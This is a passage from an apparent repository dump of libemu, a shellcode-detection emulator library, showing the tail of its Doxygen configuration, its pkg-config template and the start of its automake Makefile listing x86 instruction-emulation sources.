WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings \n# for undocumented members. If EXTRACT_ALL is set to YES then this flag will \n# automatically be disabled.\n\nWARN_IF_UNDOCUMENTED   = YES\n\n# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for \n# potential errors in the documentation, such as not documenting some \n# parameters in a documented function, or documenting parameters that \n# don't exist or using markup commands wrongly.\n\nWARN_IF_DOC_ERROR      = YES\n\n# This WARN_NO_PARAMDOC option can be abled to get warnings for \n# functions that are documented, but have no documentation for their parameters \n# or return value. If set to NO (the default) doxygen will only warn about \n# wrong or incomplete parameter documentation, but not about the absence of \n# documentation.\n\nWARN_NO_PARAMDOC       = YES\n\n# The WARN_FORMAT tag determines the format of the warning messages that \n# doxygen can produce. The string should contain the $file, $line, and $text \n# tags, which will be replaced by the file and line number from which the \n# warning originated and the warning text. Optionally the format may contain \n# $version, which will be replaced by the version of the file (if it could \n# be obtained via FILE_VERSION_FILTER)\n\nWARN_FORMAT            = \"$file:$line: $text\"\n\n# The WARN_LOGFILE tag can be used to specify a file to which warning \n# and error messages should be written. If left blank the output is written \n# to stderr.\n\nWARN_LOGFILE           = \n\n#---------------------------------------------------------------------------\n# configuration options related to the input files\n#---------------------------------------------------------------------------\n\n# The INPUT tag can be used to specify the files and/or directories that contain \n# documented source files. You may enter file names like \"myfile.cpp\" or \n# directories like \"/usr/src/myproject\". Separate the files or directories \n# with spaces.\n\nINPUT                  =  src src/functions src/environment/win32 src/environment/linux include include/emu/ include/emu/environment/linux include/emu/environment/win32\n\n\n# If the value of the INPUT tag contains directories, you can use the \n# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp \n# and *.h) to filter out the source-files in the directories. If left \n# blank the following patterns are tested: \n# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx \n# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm\n\nFILE_PATTERNS          =  *.c *.h\n\n# The RECURSIVE tag can be used to turn specify whether or not subdirectories \n# should be searched for input files as well. Possible values are YES and NO. \n# If left blank NO is used.\n\nRECURSIVE              = NO\n\n# The EXCLUDE tag can be used to specify files and/or directories that should \n# excluded from the INPUT source files. This way you can easily exclude a \n# subdirectory from a directory tree whose root is specified with the INPUT tag.\n\nEXCLUDE                = \n\n# The EXCLUDE_SYMLINKS tag can be used select whether or not files or \n# directories that are symbolic links (a Unix filesystem feature) are excluded \n# from the input.\n\nEXCLUDE_SYMLINKS       = NO\n\n# If the value of the INPUT tag contains directories, you can use the \n# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude \n# certain files from those directories. Note that the wildcards are matched \n# against the file with absolute path, so to exclude all test directories \n# for example use the pattern */test/*\n\nEXCLUDE_PATTERNS       = \n\n# The EXAMPLE_PATH tag can be used to specify one or more files or \n# directories that contain example code fragments that are included (see \n# the \\include command).\n\nEXAMPLE_PATH           = \n\n# If the value of the EXAMPLE_PATH tag contains directories, you can use the \n# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp \n# and *.h) to filter out the source-files in the directories. If left \n# blank all files are included.\n\nEXAMPLE_PATTERNS       = \n\n# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be \n# searched for input files to be used with the \\include or \\dontinclude \n# commands irrespective of the value of the RECURSIVE tag. \n# Possible values are YES and NO. If left blank NO is used.\n\nEXAMPLE_RECURSIVE      = NO\n\n# The IMAGE_PATH tag can be used to specify one or more files or \n# directories that contain image that are included in the documentation (see \n# the \\image command).\n\nIMAGE_PATH             = \n\n# The INPUT_FILTER tag can be used to specify a program that doxygen should \n# invoke to filter for each input file. Doxygen will invoke the filter program \n# by executing (via popen()) the command <filter> <input-file>, where <filter> \n# is the value of the INPUT_FILTER tag, and <input-file> is the name of an \n# input file. Doxygen will then use the output that the filter program writes \n# to standard output.  If FILTER_PATTERNS is specified, this tag will be \n# ignored.\n\nINPUT_FILTER           = \n\n# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern \n# basis.  Doxygen will compare the file name with each pattern and apply the \n# filter if there is a match.  The filters are a list of the form: \n# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further \n# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER \n# is applied to all files.\n\nFILTER_PATTERNS        = \n\n# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using \n# INPUT_FILTER) will be used to filter the input files when producing source \n# files to browse (i.e. when SOURCE_BROWSER is set to YES).\n\nFILTER_SOURCE_FILES    = NO\n\n#---------------------------------------------------------------------------\n# configuration options related to source browsing\n#---------------------------------------------------------------------------\n\n# If the SOURCE_BROWSER tag is set to YES then a list of source files will \n# be generated. Documented entities will be cross-referenced with these sources. \n# Note: To get rid of all source code in the generated output, make sure also \n# VERBATIM_HEADERS is set to NO.\n\nSOURCE_BROWSER         = NO\n\n# Setting the INLINE_SOURCES tag to YES will include the body \n# of functions and classes directly in the documentation.\n\nINLINE_SOURCES         = NO\n\n# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct \n# doxygen to hide any special comment blocks from generated source code \n# fragments. Normal C and C++ comments will always remain visible.\n\nSTRIP_CODE_COMMENTS    = YES\n\n# If the REFERENCED_BY_RELATION tag is set to YES (the default) \n# then for each documented function all documented \n# functions referencing it will be listed.\n\nREFERENCED_BY_RELATION = YES\n\n# If the REFERENCES_RELATION tag is set to YES (the default) \n# then for each documented function all documented entities \n# called/used by that function will be listed.\n\nREFERENCES_RELATION    = YES\n\n# If the USE_HTAGS tag is set to YES then the references to source code \n# will point to the HTML generated by the htags(1) tool instead of doxygen \n# built-in source browser. The htags tool is part of GNU's global source \n# tagging system (see http://www.gnu.org/software/global/global.html). You \n# will need version 4.8.6 or higher.\n\nUSE_HTAGS              = NO\n\n# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen \n# will generate a verbatim copy of the header file for each class for \n# which an include is specified. Set to NO to disable this.\n\nVERBATIM_HEADERS       = YES\n\n#---------------------------------------------------------------------------\n# configuration options related to the alphabetical class index\n#---------------------------------------------------------------------------\n\n# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index \n# of all compounds will be generated. Enable this if the project \n# contains a lot of classes, structs, unions or interfaces.\n\nALPHABETICAL_INDEX     = NO\n\n# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then \n# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns \n# in which this list will be split (can be a number in the range [1..20])\n\nCOLS_IN_ALPHA_INDEX    = 5\n\n# In case all classes in a project start with a common prefix, all \n# classes will be put under the same header in the alphabetical index. \n# The IGNORE_PREFIX tag can be used to specify one or more prefixes that \n# should be ignored while generating the index headers.\n\nIGNORE_PREFIX          = \n\n#---------------------------------------------------------------------------\n# configuration options related to the HTML output\n#---------------------------------------------------------------------------\n\n# If the GENERATE_HTML tag is set to YES (the default) Doxygen will \n# generate HTML output.\n\nGENERATE_HTML          = YES\n\n# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. \n# If a relative path is entered the value of OUTPUT_DIRECTORY will be \n# put in front of it. If left blank `html' will be used as the default path.\n\nHTML_OUTPUT            = html\n\n# The HTML_FILE_EXTENSION tag can be used to specify the file extension for \n# each generated HTML page (for example: .htm,.php,.asp). If it is left blank \n# doxygen will generate files with .html extension.\n\nHTML_FILE_EXTENSION    = .html\n\n# The HTML_HEADER tag can be used to specify a personal HTML header for \n# each generated HTML page. If it is left blank doxygen will generate a \n# standard header.\n\nHTML_HEADER            = \n\n# The HTML_FOOTER tag can be used to specify a personal HTML footer for \n# each generated HTML page. If it is left blank doxygen will generate a \n# standard footer.\n\nHTML_FOOTER            = \n\n# The HTML_STYLESHEET tag can be used to specify a user-defined cascading \n# style sheet that is used by each HTML page. It can be used to \n# fine-tune the look of the HTML output. If the tag is left blank doxygen \n# will generate a default style sheet. Note that doxygen will try to copy \n# the style sheet file to the HTML output directory, so don't put your own \n# stylesheet in the HTML output directory as well, or it will be erased!\n\nHTML_STYLESHEET        = \n\n# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, \n# files or namespaces will be aligned in HTML using tables. If set to \n# NO a bullet list will be used.\n\nHTML_ALIGN_MEMBERS     = YES\n\n# If the GENERATE_HTMLHELP tag is set to YES, additional index files \n# will be generated that can be used as input for tools like the \n# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) \n# of the generated HTML documentation.\n\nGENERATE_HTMLHELP      = NO\n\n# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can \n# be used to specify the file name of the resulting .chm file. You \n# can add a path in front of the file if the result should not be \n# written to the html output directory.\n\nCHM_FILE               = \n\n# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can \n# be used to specify the location (absolute path including file name) of \n# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run \n# the HTML help compiler on the generated index.hhp.\n\nHHC_LOCATION           = \n\n# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag \n# controls if a separate .chi index file is generated (YES) or that \n# it should be included in the master .chm file (NO).\n\nGENERATE_CHI           = NO\n\n# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag \n# controls whether a binary table of contents is generated (YES) or a \n# normal table of contents (NO) in the .chm file.\n\nBINARY_TOC             = NO\n\n# The TOC_EXPAND flag can be set to YES to add extra items for group members \n# to the contents of the HTML help documentation and to the tree view.\n\nTOC_EXPAND             = NO\n\n# The DISABLE_INDEX tag can be used to turn on/off the condensed index at \n# top of each HTML page. The value NO (the default) enables the index and \n# the value YES disables it.\n\nDISABLE_INDEX          = NO\n\n# This tag can be used to set the number of enum values (range [1..20]) \n# that doxygen will group on one line in the generated HTML documentation.\n\nENUM_VALUES_PER_LINE   = 4\n\n# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be\n# generated containing a tree-like index structure (just like the one that \n# is generated for HTML Help). For this to work a browser that supports \n# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, \n# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are \n# probably better off using the HTML help feature.\n\nGENERATE_TREEVIEW      = YES\n\n# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be \n# used to set the initial width (in pixels) of the frame in which the tree \n# is shown.\n\nTREEVIEW_WIDTH         = 250\n\n#---------------------------------------------------------------------------\n# configuration options related to the LaTeX output\n#---------------------------------------------------------------------------\n\n# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will \n# generate Latex output.\n\nGENERATE_LATEX         = YES\n\n# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. \n# If a relative path is entered the value of OUTPUT_DIRECTORY will be \n# put in front of it. If left blank `latex' will be used as the default path.\n\nLATEX_OUTPUT           = latex\n\n# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be \n# invoked. If left blank `latex' will be used as the default command name.\n\nLATEX_CMD_NAME         = latex\n\n# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to \n# generate index for LaTeX. If left blank `makeindex' will be used as the \n# default command name.\n\nMAKEINDEX_CMD_NAME     = makeindex\n\n# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact \n# LaTeX documents. This may be useful for small projects and may help to \n# save some trees in general.\n\nCOMPACT_LATEX          = NO\n\n# The PAPER_TYPE tag can be used to set the paper type that is used \n# by the printer. Possible values are: a4, a4wide, letter, legal and \n# executive. If left blank a4wide will be used.\n\nPAPER_TYPE             = a4wide\n\n# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX \n# packages that should be included in the LaTeX output.\n\nEXTRA_PACKAGES         = \n\n# The LATEX_HEADER tag can be used to specify a personal LaTeX header for \n# the generated latex document. The header should contain everything until \n# the first chapter. If it is left blank doxygen will generate a \n# standard header. Notice: only use this tag if you know what you are doing!\n\nLATEX_HEADER           = \n\n# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated \n# is prepared for conversion to pdf (using ps2pdf). The pdf file will \n# contain links (just like the HTML output) instead of page references \n# This makes the output suitable for online browsing using a pdf viewer.\n\nPDF_HYPERLINKS         = YES\n\n# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of \n# plain latex in the generated Makefile. Set this option to YES to get a \n# higher quality PDF documentation.\n\nUSE_PDFLATEX           = YES\n\n# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\\\batchmode. \n# command to the generated LaTeX files. This will instruct LaTeX to keep \n# running if errors occur, instead of asking the user for help. \n# This option is also used when generating formulas in HTML.\n\nLATEX_BATCHMODE        = NO\n\n# If LATEX_HIDE_INDICES is set to YES then doxygen will not \n# include the index chapters (such as File Index, Compound Index, etc.) \n# in the output.\n\nLATEX_HIDE_INDICES     = NO\n\n#---------------------------------------------------------------------------\n# configuration options related to the RTF output\n#---------------------------------------------------------------------------\n\n# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output \n# The RTF output is optimized for Word 97 and may not look very pretty with \n# other RTF readers or editors.\n\nGENERATE_RTF           = NO\n\n# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. \n# If a relative path is entered the value of OUTPUT_DIRECTORY will be \n# put in front of it. If left blank `rtf' will be used as the default path.\n\nRTF_OUTPUT             = rtf\n\n# If the COMPACT_RTF tag is set to YES Doxygen generates more compact \n# RTF documents. This may be useful for small projects and may help to \n# save some trees in general.\n\nCOMPACT_RTF            = NO\n\n# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated \n# will contain hyperlink fields. The RTF file will \n# contain links (just like the HTML output) instead of page references. \n# This makes the output suitable for online browsing using WORD or other \n# programs which support those fields. \n# Note: wordpad (write) and others do not support links.\n\nRTF_HYPERLINKS         = NO\n\n# Load stylesheet definitions from file. Syntax is similar to doxygen's \n# config file, i.e. a series of assignments. You only have to provide \n# replacements, missing definitions are set to their default value.\n\nRTF_STYLESHEET_FILE    = \n\n# Set optional variables used in the generation of an rtf document. \n# Syntax is similar to doxygen's config file.\n\nRTF_EXTENSIONS_FILE    = \n\n#---------------------------------------------------------------------------\n# configuration options related to the man page output\n#---------------------------------------------------------------------------\n\n# If the GENERATE_MAN tag is set to YES (the default) Doxygen will \n# generate man pages\n\nGENERATE_MAN           = YES\n\n# The MAN_OUTPUT tag is used to specify where the man pages will be put. \n# If a relative path is entered the value of OUTPUT_DIRECTORY will be \n# put in front of it. If left blank `man' will be used as the default path.\n\nMAN_OUTPUT             = /tmp/libemu_doxy/man\n\n# The MAN_EXTENSION tag determines the extension that is added to \n# the generated man pages (default is the subroutine's section .3)\n\nMAN_EXTENSION          = .3\n\n# If the MAN_LINKS tag is set to YES and Doxygen generates man output, \n# then it will generate one additional man file for each entity \n# documented in the real man page(s). These additional files \n# only source the real man page, but without them the man command \n# would be unable to find the correct page. The default is NO.\n\nMAN_LINKS              = NO\n\n#---------------------------------------------------------------------------\n# configuration options related to the XML output\n#---------------------------------------------------------------------------\n\n# If the GENERATE_XML tag is set to YES Doxygen will \n# generate an XML file that captures the structure of \n# the code including all documentation.\n\nGENERATE_XML           = NO\n\n# The XML_OUTPUT tag is used to specify where the XML pages will be put. \n# If a relative path is entered the value of OUTPUT_DIRECTORY will be \n# put in front of it. If left blank `xml' will be used as the default path.\n\nXML_OUTPUT             = xml\n\n# The XML_SCHEMA tag can be used to specify an XML schema, \n# which can be used by a validating XML parser to check the \n# syntax of the XML files.\n\nXML_SCHEMA             = \n\n# The XML_DTD tag can be used to specify an XML DTD, \n# which can be used by a validating XML parser to check the \n# syntax of the XML files.\n\nXML_DTD                = \n\n# If the XML_PROGRAMLISTING tag is set to YES Doxygen will \n# dump the program listings (including syntax highlighting \n# and cross-referencing information) to the XML output. Note that \n# enabling this will significantly increase the size of the XML output.\n\nXML_PROGRAMLISTING     = YES\n\n#---------------------------------------------------------------------------\n# configuration options for the AutoGen Definitions output\n#---------------------------------------------------------------------------\n\n# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will \n# generate an AutoGen Definitions (see autogen.sf.net) file \n# that captures the structure of the code including all \n# documentation. Note that this feature is still experimental \n# and incomplete at the moment.\n\nGENERATE_AUTOGEN_DEF   = NO\n\n#---------------------------------------------------------------------------\n# configuration options related to the Perl module output\n#---------------------------------------------------------------------------\n\n# If the GENERATE_PERLMOD tag is set to YES Doxygen will \n# generate a Perl module file that captures the structure of \n# the code including all documentation. Note that this \n# feature is still experimental and incomplete at the \n# moment.\n\nGENERATE_PERLMOD       = NO\n\n# If the PERLMOD_LATEX tag is set to YES Doxygen will generate \n# the necessary Makefile rules, Perl scripts and LaTeX code to be able \n# to generate PDF and DVI output from the Perl module output.\n\nPERLMOD_LATEX          = NO\n\n# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be \n# nicely formatted so it can be parsed by a human reader.  This is useful \n# if you want to understand what is going on.  On the other hand, if this \n# tag is set to NO the size of the Perl module output will be much smaller \n# and Perl will parse it just the same.\n\nPERLMOD_PRETTY         = YES\n\n# The names of the make variables in the generated doxyrules.make file \n# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. \n# This is useful so different doxyrules.make files included by the same \n# Makefile don't overwrite each other's variables.\n\nPERLMOD_MAKEVAR_PREFIX = \n\n#---------------------------------------------------------------------------\n# Configuration options related to the preprocessor   \n#---------------------------------------------------------------------------\n\n# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will \n# evaluate all C-preprocessor directives found in the sources and include \n# files.\n\nENABLE_PREPROCESSING   = YES\n\n# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro \n# names in the source code. If set to NO (the default) only conditional \n# compilation will be performed. Macro expansion can be done in a controlled \n# way by setting EXPAND_ONLY_PREDEF to YES.\n\nMACRO_EXPANSION        = NO\n\n# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES \n# then the macro expansion is limited to the macros specified with the \n# PREDEFINED and EXPAND_AS_PREDEFINED tags.\n\nEXPAND_ONLY_PREDEF     = NO\n\n# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files \n# in the INCLUDE_PATH (see below) will be search if a #include is found.\n\nSEARCH_INCLUDES        = YES\n\n# The INCLUDE_PATH tag can be used to specify one or more directories that \n# contain include files that are not input files but should be processed by \n# the preprocessor.\n\nINCLUDE_PATH           = \n\n# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard \n# patterns (like *.h and *.hpp) to filter out the header-files in the \n# directories. If left blank, the patterns specified with FILE_PATTERNS will \n# be used.\n\nINCLUDE_FILE_PATTERNS  = \n\n# The PREDEFINED tag can be used to specify one or more macro names that \n# are defined before the preprocessor is started (similar to the -D option of \n# gcc). The argument of the tag is a list of macros of the form: name \n# or name=definition (no spaces). If the definition and the = are \n# omitted =1 is assumed. To prevent a macro definition from being \n# undefined via #undef or recursively expanded use the := operator \n# instead of the = operator.\n\nPREDEFINED             = \n\n# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then \n# this tag can be used to specify a list of macro names that should be expanded. \n# The macro definition that is found in the sources will be used. \n# Use the PREDEFINED tag if you want to use a different macro definition.\n\nEXPAND_AS_DEFINED      = \n\n# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then \n# doxygen's preprocessor will remove all function-like macros that are alone \n# on a line, have an all uppercase name, and do not end with a semicolon. Such \n# function macros are typically used for boiler-plate code, and will confuse \n# the parser if not removed.\n\nSKIP_FUNCTION_MACROS   = YES\n\n#---------------------------------------------------------------------------\n# Configuration::additions related to external references   \n#---------------------------------------------------------------------------\n\n# The TAGFILES option can be used to specify one or more tagfiles. \n# Optionally an initial location of the external documentation \n# can be added for each tagfile. The format of a tag file without \n# this location is as follows: \n#   TAGFILES = file1 file2 ... \n# Adding location for the tag files is done as follows: \n#   TAGFILES = file1=loc1 \"file2 = loc2\" ... \n# where \"loc1\" and \"loc2\" can be relative or absolute paths or \n# URLs. If a location is present for each tag, the installdox tool \n# does not have to be run to correct the links.\n# Note that each tag file must have a unique name\n# (where the name does NOT include the path)\n# If a tag file is not located in the directory in which doxygen \n# is run, you must also specify the path to the tagfile here.\n\nTAGFILES               = \n\n# When a file name is specified after GENERATE_TAGFILE, doxygen will create \n# a tag file that is based on the input files it reads.\n\nGENERATE_TAGFILE       = \n\n# If the ALLEXTERNALS tag is set to YES all external classes will be listed \n# in the class index. If set to NO only the inherited external classes \n# will be listed.\n\nALLEXTERNALS           = NO\n\n# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed \n# in the modules index. If set to NO, only the current project's groups will \n# be listed.\n\nEXTERNAL_GROUPS        = YES\n\n# The PERL_PATH should be the absolute path and name of the perl script \n# interpreter (i.e. the result of `which perl').\n\nPERL_PATH              = /usr/bin/perl\n\n#---------------------------------------------------------------------------\n# Configuration options related to the dot tool   \n#---------------------------------------------------------------------------\n\n# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will \n# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base \n# or super classes. Setting the tag to NO turns the diagrams off. Note that \n# this option is superseded by the HAVE_DOT option below. This is only a \n# fallback. It is recommended to install and use dot, since it yields more \n# powerful graphs.\n\nCLASS_DIAGRAMS         = YES\n\n# If set to YES, the inheritance and collaboration graphs will hide \n# inheritance and usage relations if the target is undocumented \n# or is not a class.\n\nHIDE_UNDOC_RELATIONS   = YES\n\n# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is \n# available from the path. This tool is part of Graphviz, a graph visualization \n# toolkit from AT&T and Lucent Bell Labs. The other options in this section \n# have no effect if this option is set to NO (the default)\n\nHAVE_DOT               = YES\n\n# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen \n# will generate a graph for each documented class showing the direct and \n# indirect inheritance relations. Setting this tag to YES will force the \n# the CLASS_DIAGRAMS tag to NO.\n\nCLASS_GRAPH            = YES\n\n# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen \n# will generate a graph for each documented class showing the direct and \n# indirect implementation dependencies (inheritance, containment, and \n# class references variables) of the class with other documented classes.\n\nCOLLABORATION_GRAPH    = YES\n\n# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen \n# will generate a graph for groups, showing the direct groups dependencies\n\nGROUP_GRAPHS           = YES\n\n# If the UML_LOOK tag is set to YES doxygen will generate inheritance and \n# collaboration diagrams in a style similar to the OMG's Unified Modeling \n# Language.\n\nUML_LOOK               = YES\n\n# If set to YES, the inheritance and collaboration graphs will show the \n# relations between templates and their instances.\n\nTEMPLATE_RELATIONS     = NO\n\n# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT \n# tags are set to YES then doxygen will generate a graph for each documented \n# file showing the direct and indirect include dependencies of the file with \n# other documented files.\n\nINCLUDE_GRAPH          = YES\n\n# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and \n# HAVE_DOT tags are set to YES then doxygen will generate a graph for each \n# documented header file showing the documented files that directly or \n# indirectly include this file.\n\nINCLUDED_BY_GRAPH      = YES\n\n# If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will \n# generate a call dependency graph for every global function or class method. \n# Note that enabling this option will significantly increase the time of a run. \n# So in most cases it will be better to enable call graphs for selected \n# functions only using the \\callgraph command.\n\nCALL_GRAPH             = YES\n\n# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen \n# will graphical hierarchy of all classes instead of a textual one.\n\nGRAPHICAL_HIERARCHY    = YES\n\n# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES \n# then doxygen will show the dependencies a directory has on other directories \n# in a graphical way. The dependency relations are determined by the #include\n# relations between the files in the directories.\n\nDIRECTORY_GRAPH        = YES\n\n# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images \n# generated by dot. Possible values are png, jpg, or gif\n# If left blank png will be used.\n\nDOT_IMAGE_FORMAT       = png\n\n# The tag DOT_PATH can be used to specify the path where the dot tool can be \n# found. If left blank, it is assumed the dot tool can be found in the path.\n\nDOT_PATH               = \n\n# The DOTFILE_DIRS tag can be used to specify one or more directories that \n# contain dot files that are included in the documentation (see the \n# \\dotfile command).\n\nDOTFILE_DIRS           = \n\n# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width \n# (in pixels) of the graphs generated by dot. If a graph becomes larger than \n# this value, doxygen will try to truncate the graph, so that it fits within \n# the specified constraint. Beware that most browsers cannot cope with very \n# large images.\n\nMAX_DOT_GRAPH_WIDTH    = 1024\n\n# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height \n# (in pixels) of the graphs generated by dot. If a graph becomes larger than \n# this value, doxygen will try to truncate the graph, so that it fits within \n# the specified constraint. Beware that most browsers cannot cope with very \n# large images.\n\nMAX_DOT_GRAPH_HEIGHT   = 1024\n\n# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the \n# graphs generated by dot. A depth value of 3 means that only nodes reachable \n# from the root by following a path via at most 3 edges will be shown. Nodes \n# that lay further from the root node will be omitted. Note that setting this \n# option to 1 or 2 may greatly reduce the computation time needed for large \n# code bases. Also note that a graph may be further truncated if the graph's \n# image dimensions are not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH \n# and MAX_DOT_GRAPH_HEIGHT). If 0 is used for the depth value (the default), \n# the graph is not depth-constrained.\n\nMAX_DOT_GRAPH_DEPTH    = 0\n\n# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent \n# background. This is disabled by default, which results in a white background. \n# Warning: Depending on the platform used, enabling this option may lead to \n# badly anti-aliased labels on the edges of a graph (i.e. they become hard to \n# read).\n\nDOT_TRANSPARENT        = NO\n\n# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output \n# files in one run (i.e. multiple -o and -T options on the command line). This \n# makes dot run faster, but since only newer versions of dot (>1.8.10) \n# support this, this feature is disabled by default.\n\nDOT_MULTI_TARGETS      = NO\n\n# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will \n# generate a legend page explaining the meaning of the various boxes and \n# arrows in the dot generated graphs.\n\nGENERATE_LEGEND        = YES\n\n# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will \n# remove the intermediate dot files that are used to generate \n# the various graphs.\n\nDOT_CLEANUP            = YES\n\n#---------------------------------------------------------------------------\n# Configuration::additions related to the search engine   \n#---------------------------------------------------------------------------\n\n# The SEARCHENGINE tag specifies whether or not a search engine should be \n# used. If set to NO the values of all tags below this one will be ignored.\n\nSEARCHENGINE           = YES\n"
  },
  {
    "path": "libemu.pc.in",
    "content": "\nprefix=@prefix@\nexec_prefix=@exec_prefix@\nlibdir=@libdir@\nincludedir=@includedir@\n\nName: libemu\nDescription: library to detect and profile shellcodes\nURL: http://libemu.mwcollect.org\nVersion: @VERSION@\nRequires: \nLibs: -L${libdir} -lemu\nCflags: -I${includedir}\n\n\n\n"
  },
  {
    "path": "src/Makefile.am",
    "content": "# libemu Makefile\n# Paul Baecher, Markus Koetter\n# $Id$\n\nAUTOMAKE_OPTIONS = foreign subdir-objects\n\n\n\nAM_CFLAGS = -pipe -D _GNU_SOURCE -I../include -Werror -Wall -g\n\nlib_LTLIBRARIES = libemu.la\n\nSUBDIRS = functions\n\nlibemu_la_SOURCES = emu.c\nlibemu_la_SOURCES += emu_log.c\nlibemu_la_SOURCES += emu_memory.c\nlibemu_la_SOURCES += emu_cpu_data.c\nlibemu_la_SOURCES += emu_cpu.c\nlibemu_la_SOURCES += emu_string.c\nlibemu_la_SOURCES += emu_getpc.c\nlibemu_la_SOURCES += emu_graph.c\nlibemu_la_SOURCES += emu_hashtable.c\nlibemu_la_SOURCES += emu_list.c\nlibemu_la_SOURCES += emu_queue.c\nlibemu_la_SOURCES += emu_stack.c\nlibemu_la_SOURCES += emu_shellcode.c\nlibemu_la_SOURCES += emu_source.c\nlibemu_la_SOURCES += emu_track.c\nlibemu_la_SOURCES += emu_breakpoint.c\nlibemu_la_SOURCES += functions/aaa.c\nlibemu_la_SOURCES += functions/adc.c\nlibemu_la_SOURCES += functions/add.c\nlibemu_la_SOURCES += functions/and.c\nlibemu_la_SOURCES += functions/call.c\nlibemu_la_SOURCES += functions/cmp.c\nlibemu_la_SOURCES += functions/cmps.c\nlibemu_la_SOURCES += functions/dec.c\nlibemu_la_SOURCES += functions/div.c\nlibemu_la_SOURCES += functions/group_1.c\nlibemu_la_SOURCES += functions/group_2.c\nlibemu_la_SOURCES += functions/group_3.c\nlibemu_la_SOURCES += functions/group_4.c\nlibemu_la_SOURCES += functions/group_5.c\nlibemu_la_SOURCES += functions/group_10.c\nlibemu_la_SOURCES += functions/idiv.c\nlibemu_la_SOURCES += functions/imul.c\nlibemu_la_SOURCES += functions/inc.c\nlibemu_la_SOURCES += functions/int.c\nlibemu_la_SOURCES += functions/jcc.c\nlibemu_la_SOURCES += functions/jmp.c\nlibemu_la_SOURCES += functions/lodscc.c\nlibemu_la_SOURCES += functions/loopcc.c\nlibemu_la_SOURCES += functions/misc.c\nlibemu_la_SOURCES += functions/mov.c\nlibemu_la_SOURCES += functions/movsx.c\nlibemu_la_SOURCES += functions/movzx.c\nlibemu_la_SOURCES += functions/mul.c\nlibemu_la_SOURCES += functions/neg.c\nlibemu_la_SOURCES += functions/not.c\nlibemu_la_SOURCES += functions/or.c\nlibemu_la_SOURCES += functions/pop.c\nlibemu_la_SOURCES += functions/push.c\nlibemu_la_SOURCES += functions/rcl.c\nlibemu_la_SOURCES += functions/rcr.c\nlibemu_la_SOURCES += functions/repcc.c\nlibemu_la_SOURCES += functions/ret.c\nlibemu_la_SOURCES += functions/rol.c\nlibemu_la_SOURCES += functions/ror.c\nlibemu_la_SOURCES += 